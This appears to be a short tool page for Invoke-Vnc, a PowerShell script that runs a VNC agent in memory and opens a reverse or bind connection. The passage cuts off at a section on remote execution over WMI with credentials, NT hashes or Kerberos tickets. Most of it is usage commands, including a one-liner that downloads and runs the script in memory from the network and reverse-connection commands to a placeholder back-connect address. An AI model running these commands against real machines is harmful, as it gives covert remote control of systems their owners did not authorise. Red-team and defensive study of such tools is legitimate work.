Powershell VNC Injector: Invoke-Vnc
Powershell VNC Injector Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported. Usage example Invoke locally: Import-Module Invoke-Vnc.ps1 #Reverse VNC connection Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd #Bind VNC connection Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd Invoke over net: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/artkond/Invoke-Vnc/master/Invoke-Vnc.ps1') #Reverse VNC connection Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd #Bind VNC connection Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd Launch VNC listener to catch reverse VNC connection: vncviewer –listen <port> Execute agent remotely via WMI If you have authenticated access (password, nt hash or kerberos ticket) to the machi...